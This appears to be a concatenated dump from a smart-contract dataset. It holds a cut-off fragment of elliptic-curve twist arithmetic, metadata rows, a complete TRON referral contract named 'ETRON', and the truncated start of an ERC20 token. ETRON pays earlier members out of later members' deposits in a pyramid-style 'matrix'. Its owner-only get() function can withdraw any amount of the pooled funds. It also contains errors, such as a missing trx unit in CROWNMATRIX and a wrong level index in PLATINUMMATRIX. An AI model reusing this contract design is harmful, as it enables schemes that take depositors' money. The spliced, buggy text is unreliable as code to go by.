pt2zx, pt2zy); // U2 = y1 * z2 (pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1zx, pt1zy); // V1 = x2 * z1 (pt3[PTZX], pt3[PTZY]) = _FQ2Mul(pt1xx, pt1xy, pt2zx, pt2zy); // V2 = x1 * z2 if (pt2xx == pt3[PTZX] && pt2xy == pt3[PTZY]) { if (pt2yx == pt3[PTYX] && pt2yy == pt3[PTYY]) { (pt3[PTXX], pt3[PTXY], pt3[PTYX], pt3[PTYY], pt3[PTZX], pt3[PTZY]) = _ECTwistDoubleJacobian(pt1xx, pt1xy, pt1yx, pt1yy, pt1zx, pt1zy); return pt3; } (pt3[PTXX], pt3[PTXY], pt3[PTYX], pt3[PTYY], pt3[PTZX], pt3[PTZY]) = (1, 0, 1, 0, 0, 0); return pt3; } (pt2zx, pt2zy) = _FQ2Mul(pt1zx, pt1zy, pt2zx, pt2zy); // W = z1 * z2 (pt1xx, pt1xy) = _FQ2Sub(pt2yx, pt2yy, pt3[PTYX], pt3[PTYY]); // U = U1 - U2 (pt1yx, pt1yy) = _FQ2Sub(pt2xx, pt2xy, pt3[PTZX], pt3[PTZY]); // V = V1 - V2 (pt1zx, pt1zy) = _FQ2Mul(pt1yx, pt1yy, pt1yx, pt1yy); // V_squared = V * V (pt2yx, pt2yy) = _FQ2Mul(pt1zx, pt1zy, pt3[PTZX], pt3[PTZY]); // V_squared_times_V2 = V_squared * V2 (pt1zx, pt1zy) = _FQ2Mul(pt1zx, pt1zy, pt1yx, pt1yy); // V_cubed = V * V_squared (pt3[PTZX], pt3[PTZY]) = _FQ2Mul(pt1zx, pt1zy, pt2zx, pt2zy); // newz = V_cubed * W (pt2xx, pt2xy) = _FQ2Mul(pt1xx, pt1xy, pt1xx, pt1xy); // U * U (pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt2zx, pt2zy); // U * U * W (pt2xx, pt2xy) = _FQ2Sub(pt2xx, pt2xy, pt1zx, pt1zy); // U * U * W - V_cubed (pt2zx, pt2zy) = _FQ2Muc(pt2yx, pt2yy, 2); // 2 * V_squared_times_V2 (pt2xx, pt2xy) = _FQ2Sub(pt2xx, pt2xy, pt2zx, pt2zy); // A = U * U * W - V_cubed - 2 * V_squared_times_V2 (pt3[PTXX], pt3[PTXY]) = _FQ2Mul(pt1yx, pt1yy, pt2xx, pt2xy); // newx = V * A (pt1yx, pt1yy) = _FQ2Sub(pt2yx, pt2yy, pt2xx, pt2xy); // V_squared_times_V2 - A (pt1yx, pt1yy) = _FQ2Mul(pt1xx, pt1xy, pt1yx, pt1yy); // U * (V_squared_times_V2 - A) (pt1xx, pt1xy) = _FQ2Mul(pt1zx, pt1zy, pt3[PTYX], pt3[PTYY]); // V_cubed * U2 (pt3[PTYX], pt3[PTYY]) = _FQ2Sub(pt1yx, pt1yy, pt1xx, pt1xy); // newy = U * (V_squared_times_V2 - A) - V_cubed * U2 } function _ECTwistDoubleJacobian(uint256 pt1xx, uint256 pt1xy, uint256 pt1yx, uint256 pt1yy, uint256 pt1zx, uint256 pt1zy) internal pure returns (uint256 pt2xx, uint256 pt2xy, uint256 pt2yx, uint256 pt2yy, uint256 pt2zx, uint256 pt2zy) { (pt2xx, pt2xy) = _FQ2Muc(pt1xx, pt1xy, 3); // 3 * x (pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1xx, pt1xy); // W = 3 * x * x (pt1zx, pt1zy) = _FQ2Mul(pt1yx, pt1yy, pt1zx, pt1zy); // S = y * z (pt2yx, pt2yy) = _FQ2Mul(pt1xx, pt1xy, pt1yx, pt1yy); // x * y (pt2yx, pt2yy) = _FQ2Mul(pt2yx, pt2yy, pt1zx, pt1zy); // B = x * y * S (pt1xx, pt1xy) = _FQ2Mul(pt2xx, pt2xy, pt2xx, pt2xy); // W * W (pt2zx, pt2zy) = _FQ2Muc(pt2yx, pt2yy, 8); // 8 * B (pt1xx, pt1xy) = _FQ2Sub(pt1xx, pt1xy, pt2zx, pt2zy); // H = W * W - 8 * B (pt2zx, pt2zy) = _FQ2Mul(pt1zx, pt1zy, pt1zx, pt1zy); // S_squared = S * S (pt2yx, pt2yy) = _FQ2Muc(pt2yx, pt2yy, 4); // 4 * B (pt2yx, pt2yy) = _FQ2Sub(pt2yx, pt2yy, pt1xx, pt1xy); // 4 * B - H (pt2yx, pt2yy) = _FQ2Mul(pt2yx, pt2yy, pt2xx, pt2xy); // W * (4 * B - H) (pt2xx, pt2xy) = _FQ2Muc(pt1yx, pt1yy, 8); // 8 * y (pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1yx, pt1yy); // 8 * y * y (pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt2zx, pt2zy); // 8 * y * y * S_squared (pt2yx, pt2yy) = _FQ2Sub(pt2yx, pt2yy, pt2xx, pt2xy); // newy = W * (4 * B - H) - 8 * y * y * S_squared (pt2xx, pt2xy) = _FQ2Muc(pt1xx, pt1xy, 2); // 2 * H (pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1zx, pt1zy); // newx = 2 * H * S (pt2zx, pt2zy) = _FQ2Mul(pt1zx, pt1zy, pt2zx, pt2zy); // S * S_squared (pt2zx, pt2zy) = _FQ2Muc(pt2zx, pt2zy, 8); // newz = 8 * S * S_squared } function _ECTwistMulJacobian(uint256 d, uint256 pt1xx, uint256 pt1xy, uint256 pt1yx, uint256 pt1yy, uint256 pt1zx, uint256 pt1zy) internal pure returns (uint256[6] memory pt2) { while (d != 0) { if ((d & 1) != 0) { pt2 = _ECTwistAddJacobian(pt2[PTXX], pt2[PTXY], pt2[PTYX], pt2[PTYY], pt2[PTZX], pt2[PTZY], pt1xx, pt1xy, pt1yx, pt1yy, pt1zx, pt1zy); } (pt1xx, pt1xy, pt1yx, pt1yy, pt1zx, pt1zy) = _ECTwistDoubleJacobian(pt1xx, pt1xy, pt1yx, pt1yy, pt1zx, pt1zy); d = d / 2; } } }
12,676
12,022
e48ab3d9ee6ce3848a1f88cc492c323169d290f8a461996ea86dd88f6acdc656
32,346
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TJ/TJYWo28DXgmqkrCNSLvmeSex3rH6LEYRv6_ETRON.sol
8,487
30,909
//SourceUnit: Run (3).sol pragma solidity ^0.5.10; contract ETRON{ using SafeMath for uint256; address payable public owner; uint256 public totalUsers; uint256 public totalwithdrawn; uint256 public currentid = 1; uint256 public GlobalmatrixcurrUserID = 0; uint256 public SilvermatrixcurrUserID = 0; uint256 public GoldmatrixcurrUserID = 0; uint256 public TitaniummatrixcurrUserID = 0; uint256 public PlatinummatrixcurrUserID = 0; uint256 public EmerldmatrixcurrUserID = 0; uint256 public DiamondmatrixcurrUserID = 0; uint256 public RubymatrixcurrUserID = 0; uint256 public CrownmatrixcurrUserID = 0; uint256 public ImperialmatrixcurrUserID = 0; uint256 public AmbassadormatrixcurrUserID = 0; uint256 public PresidentmatrixcurrUserID = 0; uint256 public GlobalmatrixactiveUserID = 1; uint256 public SilvermatrixactiveUserID = 1; uint256 public GoldmatrixactiveUserID = 1; uint256 public TitaniummatrixactiveUserID = 1; uint256 public PlatinummatrixactiveUserID = 1; uint256 public EmerldmatrixactiveUserID = 1; uint256 public DiamondmatrixactiveUserID = 1; uint256 public RubymatrixactiveUserID = 1; uint256 public CrownmatrixactiveUserID = 1; uint256 public ImperialmatrixactiveUserID = 1; uint256 public AmbassadormatrixactiveUserID = 1; uint256 public PresidentmatrixactiveUserID = 1; uint256 public GlobalmatrixUserCount; uint256 public SilvermatrixUserCount; uint256 public GoldmatrixUserCount; uint256 public TitaniummatrixUserCount; uint256 public PlatinummatrixUserCount; uint256 public EmerldmatrixUserCount; uint256 public DiamondmatrixUserCount; uint256 public RubymatrixUserCount; uint256 public CrownmatrixUserCount; uint256 public ImperialmatrixUserCount; uint256 public AmbassadormatrixUserCount; uint256 public PresidentmatrixUserCount; struct UserStruct { bool isExist; uint256 registrationid; uint256 id; address payable referrer; uint256 referredUsers; uint256 LevelReward; uint256 MatrixReward; uint256 DirectReward; uint256 income; address []directs; mapping(uint256=>LevelUserStruct) LevelUser; } struct LevelUserStruct { bool isExist; uint256 id; uint payment_received; } mapping(address => UserStruct) public users; mapping(address => uint256[20]) public levels; mapping(uint256 =>address payable) public idtoaddress; mapping(uint256=>mapping(uint256=>address payable)) public userList; event INCOME (uint256 id,string typee,uint256 leveeel,uint256 amount,uint256 time); modifier checklevel(uint256 level){ bool check = users[msg.sender].LevelUser[level].isExist; require(check,"you have not crossed the required level"); _; } constructor(address payable _owner) payable public { owner = _owner; idtoaddress[currentid] = owner; users[owner].isExist = true; users[owner].registrationid = currentid; currentid++; for(uint256 i = 1; i < 25 ; i++) { users[owner].LevelUser[i].isExist = true; } } function register(uint256 id) public payable { require(!(users[msg.sender].isExist),"you are already registered"); require(msg.value == 500 trx,"need to pay 500 trx for registration"); UserStruct storage user = users[msg.sender]; address ad = msg.sender; if (user.referrer == address(0)) { totalUsers = totalUsers.add(1); } if(msg.sender == owner){ user.referrer = address(0); }else if (user.referrer == address(0)) { if (users[idtoaddress[id]].referrer == address(0) || idtoaddress[id] == msg.sender) { user.referrer = owner; } if(idtoaddress[id] == address(0)) { user.referrer = owner; } else{ user.referrer = idtoaddress[id]; } (users[user.referrer].directs).push(ad); users[user.referrer].referredUsers+=1; user.isExist = true; idtoaddress[currentid] = msg.sender; user.registrationid = currentid; currentid++; address payable upline = user.referrer; for (uint256 i = 0; i < 20; i++) { if (upline != address(0)) { levels[upline][i] = levels[upline][i].add(1); upline = users[upline].referrer; } else break; } } Level1(); // setdirects(); } function Level1() internal { require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[1] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 100 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } GLOBALMATRIX(); } function Level2() public payable checklevel(1) { require(msg.value == 1000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[2] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 100 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } SILVERMATRIX(); } function Level3() public payable checklevel(2) { require(msg.value == 2500 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[3] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 250 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } GOLDMATRIX(); } function Level4() public payable checklevel(3) { require(msg.value == 5000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[4] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 500 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } TITANIUMMATRIX(); } function Level5() public payable checklevel(4) { require(msg.value == 10000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[5] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 1000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } PLATINUMMATRIX(); } function Level6() public payable checklevel(5) { require(msg.value == 20000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[6] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 2000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } EMERLDMATRIX(); } function Level7() public payable checklevel(6) { require(msg.value == 40000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[7] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 4000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } DIAMONDMATRIX(); } function Level8() public payable checklevel(7) { require(msg.value == 80000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[8] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 8000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } RUBYMATRIX(); } function Level9() public payable checklevel(8) { require(msg.value == 160000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[9] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 16000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } CROWNMATRIX(); } function Level10() public payable checklevel(9) { require(msg.value == 320000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[10] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 32000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } IMPERIALMATRIX(); } function Level11() public payable checklevel(10) { require(msg.value == 640000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[11] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 64000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } AMBASSADORMATRIX(); } function Level12() public payable checklevel(11) { require(msg.value == 1280000 trx,"invalid amount"); require(users[msg.sender].isExist,"you need to register first"); UserStruct storage user = users[msg.sender]; users[msg.sender].LevelUser[12] = LevelUserStruct({ isExist: true, id: user.registrationid, payment_received: 0 }); uint256 amount = 128000 trx; user.referrer.transfer(amount); users[user.referrer].DirectReward+=amount; address payable upline = user.referrer; for (uint256 i = 0; i < 10; i++) { if (upline != address(0)) { if(users[upline].referredUsers >= i+1){ upline.transfer(amount.div(10)); users[upline].LevelReward+=(amount.div(10)); } upline = users[upline].referrer; } else break; } PRESIDENTMATRIX(); } function GLOBALMATRIX() internal{ bool checke = true; if(GlobalmatrixUserCount == 0) { owner.transfer(300 trx); checke = false; } GlobalmatrixUserCount++; GlobalmatrixcurrUserID++; users[msg.sender].LevelUser[13] = LevelUserStruct({ isExist: true, id: GlobalmatrixcurrUserID, payment_received: 0 }); userList[13][GlobalmatrixcurrUserID]=msg.sender; uint256 amount = 300 trx; if(checke){ userList[13][GlobalmatrixactiveUserID].transfer(amount); users[userList[13][GlobalmatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[13][GlobalmatrixactiveUserID]].LevelUser[13].payment_received+=1;} if(users[userList[13][GlobalmatrixactiveUserID]].LevelUser[13].payment_received==5){ users[userList[13][GlobalmatrixactiveUserID]].LevelUser[13].payment_received=0; GlobalmatrixactiveUserID++; GlobalmatrixUserCount--; } } function SILVERMATRIX() internal{ bool checke = true; if(SilvermatrixUserCount == 0) { owner.transfer(800 trx); checke = false; } SilvermatrixUserCount++; SilvermatrixcurrUserID++; users[msg.sender].LevelUser[14] = LevelUserStruct({ isExist: true, id: SilvermatrixcurrUserID, payment_received: 0 }); userList[14][SilvermatrixcurrUserID]=msg.sender; uint256 amount = 800 trx; if(checke){ userList[14][SilvermatrixactiveUserID].transfer(amount); users[userList[14][SilvermatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[14][SilvermatrixactiveUserID]].LevelUser[14].payment_received+=1;} if(users[userList[14][SilvermatrixactiveUserID]].LevelUser[14].payment_received==5){ users[userList[14][SilvermatrixactiveUserID]].LevelUser[14].payment_received=0; SilvermatrixactiveUserID++; SilvermatrixUserCount--; } } function GOLDMATRIX() internal{ bool checke = true; if(GoldmatrixUserCount == 0) { owner.transfer(2000 trx); checke = false; } GoldmatrixUserCount++; GoldmatrixcurrUserID++; users[msg.sender].LevelUser[15] = LevelUserStruct({ isExist: true, id: GoldmatrixcurrUserID, payment_received: 0 }); userList[15][GoldmatrixcurrUserID]=msg.sender; uint256 amount = 2000 trx; if(checke){ userList[15][GoldmatrixactiveUserID].transfer(amount); users[userList[15][GoldmatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[15][GoldmatrixactiveUserID]].LevelUser[15].payment_received+=1;} if(users[userList[15][GoldmatrixactiveUserID]].LevelUser[15].payment_received==5){ users[userList[15][GoldmatrixactiveUserID]].LevelUser[15].payment_received=0; GoldmatrixactiveUserID++; GoldmatrixUserCount--; } } function TITANIUMMATRIX() internal{ bool checke = true; if(TitaniummatrixUserCount == 0) { owner.transfer(4000 trx); checke = false; } TitaniummatrixUserCount++; TitaniummatrixcurrUserID++; users[msg.sender].LevelUser[16] = LevelUserStruct({ isExist: true, id: TitaniummatrixcurrUserID, payment_received: 0 }); userList[16][TitaniummatrixcurrUserID]=msg.sender; uint256 amount = 4000 trx; if(checke){ userList[16][TitaniummatrixactiveUserID].transfer(amount); users[userList[16][TitaniummatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[16][TitaniummatrixactiveUserID]].LevelUser[16].payment_received+=1;} if(users[userList[16][TitaniummatrixactiveUserID]].LevelUser[16].payment_received==5){ users[userList[16][TitaniummatrixactiveUserID]].LevelUser[16].payment_received=0; TitaniummatrixactiveUserID++; TitaniummatrixUserCount--; } } function PLATINUMMATRIX() internal{ bool checke = true; if(PlatinummatrixUserCount == 0) { owner.transfer(8000 trx); checke = false; } PlatinummatrixUserCount++; PlatinummatrixcurrUserID++; users[msg.sender].LevelUser[8] = LevelUserStruct({ isExist: true, id: PlatinummatrixcurrUserID, payment_received: 0 }); userList[17][PlatinummatrixcurrUserID]=msg.sender; uint256 amount = 8000 trx; if(checke){ userList[17][PlatinummatrixactiveUserID].transfer(amount); users[userList[17][PlatinummatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[17][PlatinummatrixactiveUserID]].LevelUser[17].payment_received+=1;} if(users[userList[17][PlatinummatrixactiveUserID]].LevelUser[17].payment_received==5){ users[userList[17][PlatinummatrixactiveUserID]].LevelUser[17].payment_received=0; PlatinummatrixactiveUserID++; PlatinummatrixUserCount--; } } function EMERLDMATRIX() internal{ bool checke = true; if(EmerldmatrixUserCount == 0) { owner.transfer(16000 trx); checke = false; } EmerldmatrixUserCount++; EmerldmatrixcurrUserID++; users[msg.sender].LevelUser[18] = LevelUserStruct({ isExist: true, id: EmerldmatrixcurrUserID, payment_received: 0 }); userList[18][EmerldmatrixcurrUserID]=msg.sender; uint256 amount = 16000 trx; if(checke){ userList[18][EmerldmatrixactiveUserID].transfer(amount); users[userList[18][EmerldmatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[18][EmerldmatrixactiveUserID]].LevelUser[18].payment_received+=1;} if(users[userList[18][EmerldmatrixactiveUserID]].LevelUser[18].payment_received==5){ users[userList[18][EmerldmatrixactiveUserID]].LevelUser[18].payment_received=0; EmerldmatrixactiveUserID++; EmerldmatrixUserCount--; } } function DIAMONDMATRIX() internal{ bool checke = true; if(DiamondmatrixUserCount == 0) { owner.transfer(32000 trx); checke = false; } DiamondmatrixUserCount++; DiamondmatrixcurrUserID++; users[msg.sender].LevelUser[19] = LevelUserStruct({ isExist: true, id: DiamondmatrixcurrUserID, payment_received: 0 }); userList[19][DiamondmatrixcurrUserID]=msg.sender; uint256 amount = 32000 trx; if(checke){ userList[19][DiamondmatrixactiveUserID].transfer(amount); users[userList[19][DiamondmatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[19][DiamondmatrixactiveUserID]].LevelUser[19].payment_received+=1;} if(users[userList[19][DiamondmatrixactiveUserID]].LevelUser[19].payment_received==5){ users[userList[19][DiamondmatrixactiveUserID]].LevelUser[19].payment_received=0; DiamondmatrixactiveUserID++; DiamondmatrixUserCount--; } } function RUBYMATRIX() internal{ bool checke = true; if(RubymatrixUserCount == 0) { owner.transfer(64000 trx); checke = false; } RubymatrixUserCount++; RubymatrixcurrUserID++; users[msg.sender].LevelUser[20] = LevelUserStruct({ isExist: true, id: RubymatrixcurrUserID, payment_received: 0 }); userList[20][RubymatrixcurrUserID]=msg.sender; uint256 amount = 64000 trx; if(checke){ userList[20][RubymatrixactiveUserID].transfer(amount); users[userList[20][RubymatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[20][RubymatrixactiveUserID]].LevelUser[20].payment_received+=1;} if(users[userList[20][RubymatrixactiveUserID]].LevelUser[20].payment_received==5){ users[userList[20][RubymatrixactiveUserID]].LevelUser[20].payment_received=0; RubymatrixactiveUserID++; RubymatrixUserCount--; } } function CROWNMATRIX() internal{ bool checke = true; if(CrownmatrixUserCount == 0) { owner.transfer(128000); checke = false; } CrownmatrixUserCount++; CrownmatrixcurrUserID++; users[msg.sender].LevelUser[21] = LevelUserStruct({ isExist: true, id: CrownmatrixcurrUserID, payment_received: 0 }); userList[21][CrownmatrixcurrUserID]=msg.sender; uint256 amount = 128000 trx; if(checke){ userList[21][CrownmatrixactiveUserID].transfer(amount); users[userList[21][CrownmatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[21][CrownmatrixactiveUserID]].LevelUser[21].payment_received+=1;} if(users[userList[21][CrownmatrixactiveUserID]].LevelUser[21].payment_received==5){ users[userList[21][CrownmatrixactiveUserID]].LevelUser[21].payment_received=0; CrownmatrixactiveUserID++; CrownmatrixUserCount--; } } function IMPERIALMATRIX() internal{ bool checke = true; if(ImperialmatrixUserCount == 0) { owner.transfer(256000 trx); checke = false; } ImperialmatrixUserCount++; ImperialmatrixcurrUserID++; users[msg.sender].LevelUser[22] = LevelUserStruct({ isExist: true, id: ImperialmatrixcurrUserID, payment_received: 0 }); userList[22][ImperialmatrixcurrUserID]=msg.sender; uint256 amount = 256000 trx; if(checke){ userList[22][ImperialmatrixactiveUserID].transfer(amount); users[userList[22][ImperialmatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[22][ImperialmatrixactiveUserID]].LevelUser[22].payment_received+=1;} if(users[userList[22][ImperialmatrixactiveUserID]].LevelUser[22].payment_received==5){ users[userList[22][ImperialmatrixactiveUserID]].LevelUser[22].payment_received=0; ImperialmatrixactiveUserID++; ImperialmatrixUserCount--; } } function AMBASSADORMATRIX() internal{ bool checke = true; if(AmbassadormatrixUserCount == 0) { owner.transfer(512000 trx); checke = false; } AmbassadormatrixUserCount++; AmbassadormatrixcurrUserID++; users[msg.sender].LevelUser[23] = LevelUserStruct({ isExist: true, id: AmbassadormatrixcurrUserID, payment_received: 0 }); userList[23][AmbassadormatrixcurrUserID]=msg.sender; uint256 amount = 512000 trx; if(checke){ userList[23][AmbassadormatrixactiveUserID].transfer(amount); users[userList[23][AmbassadormatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[23][AmbassadormatrixactiveUserID]].LevelUser[23].payment_received+=1;} if(users[userList[23][AmbassadormatrixactiveUserID]].LevelUser[23].payment_received==5){ users[userList[23][AmbassadormatrixactiveUserID]].LevelUser[23].payment_received=0; AmbassadormatrixactiveUserID++; AmbassadormatrixUserCount--; } } function PRESIDENTMATRIX() internal{ bool checke = true; if(PresidentmatrixUserCount == 0) { owner.transfer(1024000 trx); checke = false; } PresidentmatrixUserCount++; PresidentmatrixcurrUserID++; users[msg.sender].LevelUser[24] = LevelUserStruct({ isExist: true, id: PresidentmatrixcurrUserID, payment_received: 0 }); userList[24][PresidentmatrixcurrUserID]=msg.sender; uint256 amount = 1024000 trx; if(checke){ userList[24][PresidentmatrixactiveUserID].transfer(amount); users[userList[24][PresidentmatrixactiveUserID]].MatrixReward+=amount; totalwithdrawn+=amount; users[userList[24][PresidentmatrixactiveUserID]].LevelUser[24].payment_received+=1;} if(users[userList[24][PresidentmatrixactiveUserID]].LevelUser[24].payment_received==5){ users[userList[24][PresidentmatrixactiveUserID]].LevelUser[24].payment_received=0; PresidentmatrixactiveUserID++; PresidentmatrixUserCount--; } } function get(uint256 amount) public returns(bool) { require(msg.sender == owner,"Access Denied"); owner.transfer(amount.mul(1e6)); return true; } function getUserDownlineCount(address userAddress) public view returns (uint256[20] memory arr) { for(uint256 i = 0 ; i<20;i++){ arr[i] = levels[userAddress][i] ; } return arr; } function getdirects(address ad) public view returns(address[] memory arr){ return users[ad].directs; } function getuserid(address userAddress) public view returns(uint256){ return users[userAddress].registrationid; } function getStationInfo(address _userAddress,uint256 _Level_No)public view returns(bool,uint256,uint256){ return (users[_userAddress].LevelUser[_Level_No].isExist,users[_userAddress].LevelUser[_Level_No].id, users[_userAddress].LevelUser[_Level_No].payment_received); } function getTrxBalance() public view returns(uint) { return address(this).balance; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } }
291,066
12,023
4cfc1dee7cd98643ecaf51b1f3df322dd2a8bc2529740d52e7d7e117bb1ab094
11,548
.sol
Solidity
false
287517600
renardbebe/Smart-Contract-Benchmark-Suites
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
dataset/UR/0xb119791b3694fd4c851bdbf26a01b3ccc81aa670.sol
3,192
11,227
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = 